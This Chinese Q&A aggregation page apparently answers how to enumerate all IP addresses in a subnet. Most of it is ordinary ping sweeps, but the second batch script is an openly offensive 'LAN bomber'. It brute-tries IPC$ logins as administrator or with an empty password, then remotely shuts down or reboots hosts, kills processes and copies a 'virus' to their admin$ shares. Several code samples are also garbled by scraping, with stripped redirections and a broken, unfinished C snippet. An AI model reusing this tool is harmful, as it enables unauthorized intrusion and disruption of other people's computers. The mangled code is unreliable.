本篇文章给大家谈谈遍历一个网段所有ipc语言,以及ip网络段对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
1、如何遍历ip地址2、怎么查看在同一个网段内的所有电脑的IP地址3、如何用c语言实现从某个网段中逐个取出ip地址4、怎么用C++BUILDER编程列出局域网内同网段IP地址的所有MAC地址
如何遍历ip地址
小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。
shell不会玩,Windows下的bat还会点…
还有一点 要在Windows中调用linux中的shell脚本啊?
应该不可能…或者很难!
在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!
第一段:
@echo off
title 扫描在线IP
::MODE con: COLS=60 LINES=18
color 0a
::装饰。
:kaishi
cls
for /l %%i in (1,1,4) do echo.
set /p qishi= 起始IP:
set /p jieshu= 终止IP:
IF ERRORLEVEL 1 echo 错误的IP地址格式! pause goto kaishi
echo.
::从键盘获得两个变量的值。
for /f “tokens=1-4 delims=.” %%a in (“%qishi%”) do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v1=%%a
set v2=%%b
set v3=%%c
set v4=%%d
)
::分离起始IP的四个段并赋值,判断IP是否正确。
for /f “tokens=1-4 delims=.” %%a in (“%jieshu%”) do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v5=%%a
set v6=%%b
set v7=%%c
set v8=%%d
)
::分离终止IP的四个段并赋值,判断IP是否正确。
IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。 pause goto kaishi
::判断终止IP与起始IP的正确性。
IF %V4% LEQ %V8% set zengzhi_1=1
IF %V4% GEQ %V8% set zengzhi_1=-1
IF %v3% LEQ %v7% set zengzhi_2=1
IF %V3% GEQ %V7% set zengzhi_2=-1
IF %v2% LEQ %v6% set zengzhi_3=1
IF %v2% GEQ %v6% set zengzhi_3=-1
for /L %%d in (%v1%,1,%v5%) do (
for /L %%c in (%v2%,%zengzhi_3%,%v6%) do (
for /L %%b in (%v3%,%zengzhi_2%,%v7%) do (
for /L %%a in (%v4%,%zengzhi_1%,%v8%) do (
ping /n 1 %%d.%%c.%%b.%%a nul echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR
echo %%d.%%c.%%b.%%a
)
)
)
)
echo 扫描完毕!
pause goto kaishi
:error_2
echo 错误的IP地址!
pause
goto kaishi
第二段(未编写测试完):
@echo off
setlocal enabledelayedexpansion
title Win 2k 局域网轰炸器 未完待续 ~す珹す~
color 0a
:start
echo ——————————————————————————-
echo 收集信息中… echo.
for /f “tokens=15” %%i in (‘ipconfig ^| find /i “ip address”‘) do set ip=%%i
for /f “tokens=1,2,3 delims=.” %%i in (‘echo !ip!’) do set wd=%%i.%%j.%%k
echo 你的 IP 地址是:!ip!
echo 你所在的网段是:!wd!
echo.
echo —请选择扫描在线主机的扫描方式—
echo 1.ping 2.net view 3.exit 注:直接按回车键使用默认方式!
set /p fs=请输入:
if “%fs%”==”” goto ping
if “%fs%”==”1” goto ping
if “%fs%”==”2” goto net view
if “%fs%”==”3” exit
cls goto start
:ping
echo.
echo 输入需要扫描的IP范围(不需输网段) 1至255之内 结尾数不能小于起始数!
set /p qs=起始数:
set /p js=结束数:
if !qs! gtr !js! echo 起始数 不能大于 结束数! ping 127.1 /n 2 nul 2nul goto ping
echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况…
echo ——————————————————————————-
for /l %%i in (!qs!,1,!js!) do (
ping !wd!.%%i /n 1 nul 2nul echo !wd!.%%i 在线! echo !wd!.%%izx.txt|| echo !wd!.%%i 离线!
)
echo ——————————————————————————–
goto ipc$ scan
:net view
echo.
echo 此局域网内在线主机:
echo ——————————————————————————-
FOR /F “eol=- delims=\\” %%c in (‘net view’) do (
FOR /F “eol=服” %%i in (‘echo %%c’) do (
FOR /F “eol=命” %%i in (‘echo %%c’) do (
echo %%i echo %%izx.txt
)
)
)
echo ——————————————————————————–
goto ipc$ scan
:ipc$ scan
echo.
echo 即将开始ipc$扫描…
echo.
if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描! 正在返回主菜单… ping 127.1 /n 5 nul 2nul cls goto start
echo ipc$ 扫描时使用何用户? 注:直接按回车键使用默认用户!
echo 要用空用户(空链接)请输入
set /p user=请输入:
if “!user!”==”” set user=administrator
if “!user!”==”null” set user=
echo ipc$ 扫描时使用何密码? 注:直接按回车键使用默认密码!
set /p password=请输入:
if “!password!”==”” set password=
echo.
echo 你选择的用户为:!user!
echo 你选择的密码为:!password!
ping 127.1 /n 2 nul 2nul
echo.
echo 正在扫描能ipc$连接的机子…
set ipc$=0
for /f %%i in (‘type zx.txt’) do (
echo ——————————————————————————-
net use \\%%i\ipc$ “!password!” /user:”!user!” nul (
set /a ipc$=!ipc$!+1
echo 连接 %%i 成功!
echo %%iipc.txt
net use \\%%i /delnul 2nul
) || (
echo 连接 %%i 失败! ↑↑↑以上是错误提示! ↑↑↑
)
)
echo ——————————————————————————–
echo 按任意键进入下一步! pause nul
:kill
cls
for /l %%i in (1,1,9) do echo.
echo 扫描到 !ipc$! 台机器能ipc$连接成功!
for /l %%i in (1,1,3) do echo.
echo 请问美丽的大姐您要怎么捉弄他们?
echo.
echo 1:关了他们 2:重启他们 3:开启服务
echo 4:传送病毒 5:弹出消息 6:关闭进程
echo.
set /p shr= 请选择:
if “!shr!”==”1” goto gj
if “!shr!”==”2” goto cq
if “!shr!”==”3” goto fw
if “!shr!”==”4” goto bd
if “!shr!”==”5” goto xx
if “!shr!”==”6” goto jc
goto kill
:gj
for /f %%i in (‘type ipc.txt’) do (
shutdown -m \\%%i -s -t 0
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:cq
for /f %%i in (‘type ipc.txt’) do (
shutdown -m \\%%i -r -t 0
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:fw
set /p fwm=请输入需要开启的服务名:
::还需检测路劲
for /f %%i in (‘type ipc.txt’) do (
net start \\%%i !fwm!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:bd
set /p bdm=请输入要传送的病毒的路径:
for /f %%i in (‘type ipc.txt’) do (
copy !bdm! \\%%i\admin$
::还需开启对方计划任务服务 运行病毒
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:xx
set /p xx=请输入要弹出的消息:
for /f %%i in (‘type ipc.txt’) do (
echo 正在弹消息中…
sc \\%%i config messenger start= auto nul 2nul
sc \\%%i start messenger nul 2nul
net send %%i !xx!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start
:jc
set /p jc=请输入需要关闭的进程名:
for /f %%i in (‘type ipc.txt’) do (
copy !bdm! \\%%i\admin$
taskkill /s \\%%i /f /im !jc!
)
echo 完成! 按任意键返回主菜单!
pausenul goto start1
pause
怎么查看在同一个网段内的所有电脑的IP地址
有时候,当我们为局域网内的机器分配IP 地址的时候,如果系统管理员没有清楚地记录在用IP,就会不知道目前还有哪些IP是可用的。下面就介绍这个简单并且实用的命令,它会帮我们一下子就找出所有在用的IP 地址! 打开windows 命令行窗口,在命令行输入以下命令: for /l %i in (1,1,254) do ping -n 1 -w 60 192.168.0.%i | find “Reply” d:\pingall.log 备注: %i in (1,1,254) ——是遍历主机位从1 ~ 254的所有IP -n——ping 的次数 -w ——等待每次回复的时长(毫秒) 192.168.0.%i ——遍历IP 自192.168.0.1 ~ 192.168.0.254的所有IP | bat ——管道,将前面的结果通过管道输入给后面的命令 bat——重定向,将结果写进d:\pingall.log这个文件
望采纳!
如何用c语言实现从某个网段中逐个取出ip地址
我临时写吧,没有调试,主要是这什么用啊,能用来换钱么?
#inlcudestdio.h
void main(void)
{
char a1,a2,a3,a4;
char m1,m2,m3,m4;
char r1,r2,r3,r4;
a1=127;a2=0;a3=0;a4=1; // your IP
m1=255;m2=255;m3=248;m4=0; // IP netmask
r1=a1m1;r2=a2m2;r3=a3m3;r4=a4m4; //your IP segment
m1=~m1;m2=~m2;m3=~m3;m4=~m4;
下面就是循环了.循环的处理方法是如果m中为0,则循环0到255,不为0,则循环到大于这个m的时候,就终止所有循环,您自己动动脑筋,我点到这步比较好。
}
怎么用C++BUILDER编程列出局域网内同网段IP地址的所有MAC地址
下载一个小巧的工具软件吧,叫nbtscan的一款小软件。在CMD命令行输入nbtscan -r 网络地址/24。比如:nbtscan -r 192.168.1.0/24 嗅探该网段的所有主机以及对应的MAC地址。
关于遍历一个网段所有ipc语言和ip网络段的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。